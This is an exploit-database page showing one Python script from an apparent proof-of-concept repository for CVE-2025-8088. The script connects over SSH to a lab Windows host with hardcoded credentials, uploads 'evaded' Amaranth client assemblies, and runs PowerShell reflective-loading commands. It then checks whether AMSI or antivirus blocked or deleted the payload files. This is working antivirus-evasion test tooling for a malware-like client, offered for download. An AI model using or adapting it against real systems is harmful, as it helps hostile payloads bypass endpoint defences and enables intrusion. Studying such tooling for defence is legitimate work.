Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files52Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage02_PowerShell/exploit/test_amsi_evaded_v2.py

Python · 2,167 bytes
"""Test AMSI against evaded assemblies - file output"""
import paramiko, time, os

STAGE02 = r"D:\Desktop\网安程设\Amaranth_Project\Stage02_PowerShell"
PAYLOAD = os.path.join(STAGE02, "payload_evaded")
log = []

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)

# Upload individual evaded assemblies
for fname in ["Amaranth.Client.exe", "Amaranth.Common.dll", "Amaranth.ProtoBuf.dll"]:
    sftp = ssh.open_sftp()
    sftp.put(os.path.join(PAYLOAD, fname), f"C:\\Users\\Public\\{fname}")
    sftp.close()
log.append("Uploaded evaded assemblies OK")

# Run tests - write PS output to files
tests = [
    ("LoadFile Common", '$a=[Reflection.Assembly]::LoadFile("C:\\Users\\Public\\Amaranth.Common.dll");Write-Host OK_$($a.GetName().Name)'),
    ("LoadByte Common", '$b=[IO.File]::ReadAllBytes("C:\\Users\\Public\\Amaranth.Common.dll");$a=[Reflection.Assembly]::Load($b);Write-Host OK_$($a.GetName().Name)'),
    ("LoadByte Client", '$b=[IO.File]::ReadAllBytes("C:\\Users\\Public\\Amaranth.Client.exe");$a=[Reflection.Assembly]::Load($b);Write-Host OK_$($a.GetName().Name)'),
    ("LoadByte Proto", '$b=[IO.File]::ReadAllBytes("C:\\Users\\Public\\Amaranth.ProtoBuf.dll");$a=[Reflection.Assembly]::Load($b);Write-Host OK_$($a.GetName().Name)'),
]

for idx, (name, cmd) in enumerate(tests):
    outfile = f"C:\\Users\\Public\\t{idx}.txt"
    ssh.exec_command(f'powershell -c "{cmd}" > {outfile} 2>&1', timeout=10)
    time.sleep(2)
    i,o,e = ssh.exec_command(f'type {outfile}', 5)
    r = o.read()
    if r[:2] == b'\xff\xfe': r = r.decode('utf-16-le', errors='replace')
    else: r = r.decode('utf-8', errors='replace')
    log.append(f"{name}: {r.strip()[:200]}")

# Check survival
time.sleep(2)
i,o,e = ssh.exec_command('if exist C:\\Users\\Public\\Amaranth.Common.dll (echo EXISTS) else (echo GONE)', 5)
r = o.read().decode('utf-8', errors='replace').strip()
log.append(f"Survival: {r}")

ssh.close()

output = '\n'.join(log)
print(output)
with open(os.path.join(STAGE02, 'amsi_evaded_test.txt'), 'w', encoding='utf-8') as f:
    f.write(output)